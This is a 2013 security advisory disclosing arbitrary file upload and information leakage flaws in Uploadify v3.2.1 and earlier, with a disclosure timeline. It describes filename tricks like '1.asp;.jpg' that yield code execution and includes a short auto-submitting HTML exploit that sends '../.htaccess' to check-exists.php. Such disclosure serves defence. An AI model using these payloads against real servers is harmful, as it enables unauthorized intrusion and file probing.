AFU and IL vulnerabilities in Uploadify

Type securityvulns
Reporter Securityvulns
Modified 2013-10-27T00:00:00


Hello 3APA3A!

These are Arbitrary File Uploading and Information Leakage vulnerabilities in Uploadify. The same as in June with previous vulnerabilities in Uploadify, in September the developers just ignored my warnings, even I sent letter to multiple their e-mail addresses.

Affected products:

Vulnerable are Uploadify v3.2.1 and previous versions.

Affected vendors:

Reactive Apps


Arbitrary File Uploading (WASC-31):

Code Execution attack via file uploading. There are two methods of code execution: by using of symbol ";" (1.asp;.jpg) in file name (IIS) and by double extension (1.php.jpg) (Apache with special configuration).

Information Leakage (WASC-13):

Checking arbitrary file existence at the server.

Uploadify IL.html

<html> <head> <title>Uploadify Information Leakage exploit (C) 2013 MustLive.</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/uploadify/check-exists.php" method="post"> <input type="hidden" name="filename" value="../.htaccess"> </form> </body> </html>


2013.09.20 - announced at my site. 2013.09.21 - informed developers on multiple e-mails. 2013.10.24 - disclosed at my site (

Best wishes & regards, MustLive Administrator of Websecurity web site